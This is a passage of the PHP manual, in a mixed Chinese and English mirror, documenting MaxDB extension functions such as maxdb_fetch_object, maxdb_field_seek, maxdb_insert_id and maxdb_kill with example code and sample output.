   foreach (maxdb_fetch_lengths($result) as $i => $val) {
       printf("Field %2d has Length %2d\n", $i+1, $val);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Field  1 has Length  4
Field  2 has Length  3
Field  3 has Length  5
Field  4 has Length  6
Field  5 has Length  5
Field  6 has Length 21

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_fields | 上一级 | maxdb_fetch_object


maxdb_fetch_object

(PECL)

maxdb_fetch_object

(no version information, might be only in CVS)

result->fetch_object -- Returns the current row of a result set as an object

Description

Procedural style:

object maxdb_fetch_object ( object result )

Object oriented style (method):

class result {

object fetch_object ( void )

}

The maxdb_fetch_object() will return the current row result set as an object where the attributes of the object represent the names of the fields found within the result set. If no more rows exist in the current result set, NULL is returned.

Return values

Returns an object that corresponds to the fetched row or NULL if there are no more rows in resultset.

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

See also

maxdb_fetch_array(),
maxdb_fetch_assoc(),
maxdb_fetch_row().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch object array */
   while ($obj = $result->fetch_object()) {
       printf ("%s (%s)\n", $obj->NAME, $obj->STATE);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch associative array */
   while ($obj = maxdb_fetch_object($result)) {
       printf ("%s (%s)\n", $obj->NAME, $obj->STATE);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_lengths | 上一级 | maxdb_fetch_row


maxdb_fetch_row

(PECL)

maxdb_fetch_row

(no version information, might be only in CVS)

result->fetch_row -- Get a result row as an enumerated array

Description

Procedural style:

mixed maxdb_fetch_row ( resource result )

Object oriented style (method):

class result {

mixed fetch_row ( void )

}

Returns an array that corresponds to the fetched row, or NULL if there are no more rows.

maxdb_fetch_row() fetches one row of data from the result set represented by result and returns it as an enumerated array, where each column is stored in an array offset starting from 0 (zero). Each subsequent call to the maxdb_fetch_row() function will return the next row within the result set, or FALSE if there are no more rows.

Return values

maxdb_fetch_row() returns an array that corresponds to the fetched row or NULL if there are no more rows in result set.

注: 本函数对 PHP NULL 值设定 NULL 字段。

See also

maxdb_fetch_array(),
maxdb_fetch_assoc(),
maxdb_fetch_resource().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch object array */
   while ($row = $result->fetch_row()) {
       printf ("%s (%s)\n", $row[0], $row[1]);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch associative array */
   while ($row = maxdb_fetch_row($result)) {
       printf ("%s (%s)\n", $row[0], $row[1]);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_object | 上一级 | maxdb_fetch


maxdb_fetch

(PECL)

maxdb_fetch -- 别名 maxdb_stmt_fetch()

说明

本函数是该函数的别名： maxdb_stmt_fetch().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch_row | 上一级 | maxdb_field_count


maxdb_field_count

(PECL)

maxdb_field_count

(no version information, might be only in CVS)

maxdb->field_count -- Returns the number of columns for the most recent query

Description

Procedural style:

int maxdb_field_count ( resource link )

Object oriented style (method):

class maxdb {

int field_count ( void )

}

Returns the number of columns for the most recent query on the connection represented by the link parameter. This function can be useful when using the maxdb_store_result() function to determine if the query should have produced a non-empty result set or not without knowing the nature of the query.

Return values

An integer representing the number of fields in a result set

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE friends");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query( "CREATE TABLE friends (id int, name varchar(20))");

$maxdb->query( "INSERT INTO friends VALUES (1,'Hartmut')");
$maxdb->query( "INSERT INTO friends VALUES (2, 'Ulf')");

if ($maxdb->field_count()) {
   /* this was a select/show or describe query */
   $result = $maxdb->store_result();

   /* process resultset */
   $row = $result->fetch_row();

   /* free resultset */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE friends");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE friends (id int, name varchar(20))");

maxdb_query($link, "INSERT INTO friends VALUES (1,'Hartmut')");
maxdb_query($link, "INSERT INTO friends VALUES (2, 'Ulf')");

if (maxdb_field_count($link)) {
   /* this was a select/show or describe query */
   $result = maxdb_store_result($link);

   /* process resultset */
   $row = maxdb_fetch_row($result);

   /* free resultset */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example produces no output.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_fetch | 上一级 | maxdb_field_seek


maxdb_field_seek

(PECL)

maxdb_field_seek

(no version information, might be only in CVS)

result->field_seek -- Set result pointer to a specified field offset

Description

Procedural style:

bool maxdb_field_seek ( resource result, int fieldnr )

Object oriented style (method):

class result {

bool field_seek ( int fieldnr )

}

Sets the field cursor to the given offset. The next call to maxdb_fetch_field() will retrieve the field definition of the column associated with that offset.

注: To seek to the beginning of a row, pass an offset value of zero.

Return values

maxdb_field_seek() returns previuos value of field cursor.

See also

maxdb_fetch_field()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for 2nd column */
   $result->field_seek(1);
   $finfo = $result->fetch_field();

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n\n", $finfo->type);

   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for 2nd column */
   maxdb_field_seek($result, 1);
   $finfo = maxdb_fetch_field($result);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n\n", $finfo->type);

   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_field_count | 上一级 | maxdb_field_tell


maxdb_field_tell

(PECL)

maxdb_field_tell

(no version information, might be only in CVS)

result->current_field -- Get current field offset of a result pointer

Description

Procedural style:

int maxdb_field_tell ( resource result )

Object oriented style (property):

class result {

int current_field

}

Returns the position of the field cursor used for the last maxdb_fetch_field() call. This value can be used as an argument to maxdb_field_seek().

返回值

Returns current offset of field cursor.

参见

maxdb_fetch_field(), maxdb_field_seek()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = $maxdb->query($query)) {

   /* Get field information for all columns */
   while ($finfo = $result->fetch_field()) {

       /* get fieldpointer offset */
       $currentfield = $result->current_field;

       printf("Column    %d:\n", $currentfield);
       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY cno";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for all fields */
   while ($finfo = maxdb_fetch_field($result)) {

       /* get fieldpointer offset */
       $currentfield = maxdb_field_tell($result);

       printf("Column    %d:\n", $currentfield);
       printf("Name:     %s\n", $finfo->name);
       printf("Table:    %s\n", $finfo->table);
       printf("max. Len: %d\n", $finfo->max_length);
       printf("Flags:    %d\n", $finfo->flags);
       printf("Type:     %d\n\n", $finfo->type);
   }
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Column    1:
Name:     NAME
Table:
max. Len: 10
Flags:    -1
Type:     2

Column    2:
Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_field_seek | 上一级 | maxdb_free_result


maxdb_free_result

(PECL)

maxdb_free_result

(no version information, might be only in CVS)

result->free -- Frees the memory associated with a result

Description

Procedural style:

void maxdb_free_result ( resource result )

Object oriented style (method):

class result {

void free ( void )

}

The maxdb_free_result() function frees the memory associated with the result represented by the result parameter, which was allocated by maxdb_query(), maxdb_store_result() or maxdb_use_result().

注: You should always free your result with maxdb_free_result(), when your result resource is not needed anymore.

返回值

This function doesn't return any value.

参见

maxdb_query(),
maxdb_stmt_store_result(),
maxdb_store_result(),
maxdb_use_result().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_field_tell | 上一级 | maxdb_get_client_info


maxdb_get_client_info

(PECL)

maxdb_get_client_info -- Returns the MaxDB client version as a string

Description

string maxdb_get_client_info ( void )

The maxdb_get_client_info() function is used to return a string representing the client version being used in the MaxDB extension.

返回值

A string that represents the MaxDB client library version

See also

maxdb_get_client_version(),
maxdb_get_server_info(),
maxdb_get_server_version()

Example

例子 1. maxdb_get_client_info

<?php

/* We don't need a connection to determine
   the version of MaxDB client library */

printf("Client library version: %s\n", maxdb_get_client_info());
?>

The above examples would produce the following output:

Client library version: libSQLDBC <...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_free_result | 上一级 | maxdb_get_client_version


maxdb_get_client_version

(PECL)

maxdb_get_client_version -- Get MaxDB client info

Description

int maxdb_get_client_version ( void )

Returns client version number as an integer.

Return values

A number that represents the MaxDB client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 7.5.0 is returned as 70500.

This is useful to quickly determine the version of the client library to know if some capability exits.

See also

maxdb_get_client_info(),
maxdb_get_server_info(),
maxdb_get_server_version()

Example

例子 1. maxdb_get_client_version

<?php

/* We don't need a connection to determine
   the version of MaxDB client library */

printf("Client library version: %d\n", maxdb_get_client_version());
?>

The above examples would produce the following output:

Client library version: 7.<...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_get_client_info | 上一级 | maxdb_get_host_info


maxdb_get_host_info

(PECL)

maxdb_get_host_info

(no version information, might be only in CVS)

maxdb->get_host_info -- Returns a string representing the type of connection used

Description

Procdural style:

string maxdb_get_host_info ( resource link )

Object oriented style (property):

class maxdb {

string host_info

}

The maxdb_get_host_info() function returns a string describing the connection represented by the link parameter is using.

返回值

A character string representing the server hostname and the connection type.

See also

maxdb_get_proto_info()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print host information */
printf("Host info: %s\n", $maxdb->host_info);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print host information */
printf("Host info: %s\n", maxdb_get_host_info($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Host info: localhost

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_get_client_version | 上一级 | maxdb_get_metadata


maxdb_get_metadata

(PECL)

maxdb_get_metadata -- 别名 maxdb_stmt_result_metadata()

说明

本函数是该函数的别名： maxdb_stmt_result_metadata().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_get_host_info | 上一级 | maxdb_get_proto_info


maxdb_get_proto_info

(PECL)

maxdb_get_proto_info

(no version information, might be only in CVS)

maxdb->protocol_version -- Returns the version of the MaxDB protocol used

Description

Procedural style:

int maxdb_get_proto_info ( resource link )

Object oriented style (property):

class maxdb {

string protocol_version

}

Returns an integer representing the MaxDB protocol version used by the connection represented by the link parameter.

返回值

Returns an integer representing the protocol version (constant 10).

See also

maxdb_get_host_info()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print protocol version */
printf("Protocol version: %d\n", $maxdb->protocol_version);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print protocol version */
printf("Protocol version: %d\n", maxdb_get_proto_info($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Protocol version: 10

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_get_metadata | 上一级 | maxdb_get_server_info


maxdb_get_server_info

(PECL)

maxdb_get_server_info

(no version information, might be only in CVS)

maxdb->server_info -- Returns the version of the MaxDB server

Description

Procedural style:

string maxdb_get_server_info ( resource link )

Object oriented style (property):

class maxdb {

string server_info

}

Returns a string representing the version of the MaxDB server that the MaxDB extension is connected to (represented by the link parameter).

返回值

A character string representing the server version.

See also

maxdb_get_client_info(),
maxdb_get_client_version(),
maxdb_get_server_version()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %s\n", $maxdb->server_info);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %s\n", maxdb_get_server_info($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Server version: Kernel    7<...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_get_proto_info | 上一级 | maxdb_get_server_version


maxdb_get_server_version

(PECL)

maxdb_get_server_version -- Returns the version of the MaxDB server as an integer

Description

Procedural style:

int maxdb_get_server_version ( resource link )

Object oriented style (property):

class maxdb {

int server_version

}

The maxdb_get_server_version() function returns the version of the server connected to (represented by the link parameter) as an integer.

The form of this version number is main_version * 10000 + minor_version * 100 + sub_version (i.e. version 7.5.0 is 70500).

返回值

An integer representing the server version.

See also

maxdb_get_client_info(),
maxdb_get_client_version(),
maxdb_get_server_info()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %d\n", $maxdb->server_version);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* print server version */
printf("Server version: %d\n", maxdb_get_server_version($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Server version: 7<...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_get_server_info | 上一级 | maxdb_info


maxdb_info

(PECL)

maxdb_info

(no version information, might be only in CVS)

maxdb->info -- Retrieves information about the most recently executed query

Description

Procedural style:

string maxdb_info ( resource link )

Object oriented style (property)

class maxdb {

string info

}

The maxdb_info() function returns a string providing information about the last query executed. The nature of this string is provided below:

表格 1. Possible maxdb_info return values

Query type | Example result string
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

注: Queries which do not fall into one of the above formats are not supported. In these situations, maxdb_info() will return an empty string.

返回值

A character string representing additional information about the most recently executed query.

参见

maxdb_affected_rows(),
maxdb_warning_count(),
maxdb_num_rows()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.t1 LIKE hotel.city");

/* INSERT INTO .. SELECT */
$maxdb->query("INSERT INTO temp.t1 SELECT * FROM hotel.city");
printf("%s\n", $maxdb->info);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.t1 LIKE hotel.city");

/* INSERT INTO .. SELECT */
maxdb_query($link, "INSERT INTO temp.t1 SELECT * FROM hotel.city");
printf("%s\n", maxdb_info($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Records: 25 Duplicates: 0 Warnings: 0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_get_server_version | 上一级 | maxdb_init


maxdb_init

(PECL)

maxdb_init -- Initializes MaxDB and returns an resource for use with maxdb_real_connect

Description

resource maxdb_init ( void )

Allocates or initializes a MaxDB resource suitable for maxdb_options() and maxdb_real_connect().

注: Any subsequent calls to any maxdb function (except maxdb_options()) will fail until maxdb_real_connect() was called.

返回值

Returns an resource.

参见

maxdb_options(),
maxdb_close(),
maxdb_real_connect(),
maxdb_connect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_info | 上一级 | maxdb_insert_id


maxdb_insert_id

(PECL)

maxdb_insert_id

(no version information, might be only in CVS)

maxdb->insert_id -- Returns the auto generated id used in the last query

Description

Procedural style:

mixed maxdb_insert_id ( resource link )

Object oriented style (property):

class maxdb {

mixed insert_id

}

The maxdb_insert_id() function returns the ID generated by a query on a table with a column having the DEFAULT SERIAL attribute. If the last query wasn't an INSERT or UPDATE statement or if the modified table does not have a column with the DEFAULT SERIAL attribute, this function will return zero.

返回值

The value of the DEFAULT SERIAL field that was updated by the previous query. Returns zero if there was no previous query on the connection or if the query did not update an DEFAULT_SERIAL value.

注: If the number is greater than maximal int value, maxdb_insert_id() will return a string.

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycity");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query("CREATE TABLE mycity LIKE hotel.city");
$maxdb->query("ALTER TABLE mycity ADD id FIXED(11) DEFAULT SERIAL");

$query = "INSERT INTO mycity (zip,name,state) VALUES ('12203','Albany' ,'NY')";
$maxdb->query($query);

printf ("New Record has id %d.\n", $maxdb->insert_id);

/* drop table */
$maxdb->query("DROP TABLE mycity");

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycity");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE mycity LIKE hotel.city");
maxdb_query($link, "ALTER TABLE mycity ADD id FIXED(11) DEFAULT SERIAL");

$query = "INSERT INTO mycity (zip,name,state) VALUES ('12203','Albany' ,'NY')";
maxdb_query($link, $query);

printf ("New Record has id %d.\n", maxdb_insert_id($link));

/* drop table */
maxdb_query($link, "DROP TABLE mycity");

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

New Record has id 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_init | 上一级 | maxdb_kill


maxdb_kill

(PECL)

maxdb_kill

(no version information, might be only in CVS)

maxdb->kill -- Disconnects from a MaxDB server

Description

Procedural style:

bool maxdb_kill ( resource link, int processid )

Object oriented style (method)

class maxdb {

bool kill ( int processid )

}

This function is used to disconnect from a MaxDB server specified by the processid parameter.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

maxdb_thread_id()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = $maxdb->thread_id;

/* Kill connection */
$maxdb->kill($thread_id);

/* This should produce an error */
if (!$maxdb->query("CREATE TABLE myCity LIKE City")) {
   printf("Error: %s\n", $maxdb->error);
   exit;
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = maxdb_thread_id($link);

/* Kill connection */
maxdb_kill($link, $thread_id);

/* This should produce an error */
if (!maxdb_query($link, "CREATE TABLE myCity LIKE City")) {
   printf("Error: %s\n", maxdb_error($link));
   exit;
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Error: Session not connected

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_insert_id | 上一级 | maxdb_master_query


maxdb_master_query

(PECL)

maxdb_master_query -- Enforce execution of a query on the master in a master/slave setup

Description

bool maxdb_master_query ( resource link, string query )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_kill | 上一级 | maxdb_more_results


maxdb_more_results

(PECL)

maxdb_more_results

(no version information, might be only in CVS)

maxdb->more_results -- Check if there any more query results from a multi query

Description

bool maxdb_more_results ( resource link )

maxdb_more_results() indicates if one or more result sets are available from a previous call to maxdb_multi_query().

Return values

Always FALSE.

See also

maxdb_multi_query(),
maxdb_next_result(),
maxdb_store_result(),
maxdb_use_result()

Example

See maxdb_multi_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_master_query | 上一级 | maxdb_multi_query


maxdb_multi_query

(PECL)

maxdb_multi_query

(no version information, might be only in CVS)

maxdb->multi_query -- Performs a query on the database

Description

Procedural style:

bool maxdb_multi_query ( resource link, string query )

Object oriented style (method):

class maxdb {

bool multi_query ( string query )

}

The maxdb_multi_query() works like the function maxdb_query(). Multiple queries are not yet supported.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_use_result(),
maxdb_store_result(),
maxdb_next_result(),
maxdb_more_results()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM dual";

/* execute multi query */
if ($maxdb->multi_query($query)) {
   do {
       /* store first result set */
       if ($result = $maxdb->store_result()) {
           while ($row = $result->fetch_row()) {
               printf("%s\n", $row[0]);
           }
           $result->close();
       }
       /* print divider */
       if ($maxdb->more_results()) {
           printf("-----------------\n");
       }
   } while ($maxdb->next_result());
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * FROM dual";

/* execute multi query */
if (maxdb_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = maxdb_store_result($link)) {
           while ($row = maxdb_fetch_row($result)) {
               printf("%s\n", $row[0]);
           }
           maxdb_free_result($result);
       }
       /* print divider */
       if (maxdb_more_results($link)) {
           printf("-----------------\n");
       }
   } while (maxdb_next_result($link));
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

a

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_more_results | 上一级 | maxdb_next_result


maxdb_next_result

(PECL)

maxdb_next_result

(no version information, might be only in CVS)

maxdb->next_result -- Prepare next result from multi_query

Description

bool maxdb_next_result ( resource link )

Since multiple queries are not yet supported, maxdb_next_result() returns always FALSE.

Return values

FALSE

See also

maxdb_multi_query(),
maxdb_more_results(),
maxdb_store_result(),
maxdb_use_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_multi_query | 上一级 | maxdb_num_fields


maxdb_num_fields

(PECL)

maxdb_num_fields

(no version information, might be only in CVS)

result->field_count -- Get the number of fields in a result

Description

Procedural style:

int maxdb_num_fields ( resource result )

Object oriented style (property):

class result {

int field_count

}

maxdb_num_fields() returns the number of fields from specified result set.

返回值

The number of fields from a result set

参见

maxdb_fetch_field()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT * FROM hotel.city ORDER BY zip")) {

   /* determine number of fields in result set */
   $field_cnt = $result->field_count;

   printf("Result set has %d fields.\n", $field_cnt);

   /* close result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT * FROM hotel.city ORDER BY zip")) {

   /* determine number of fields in result set */
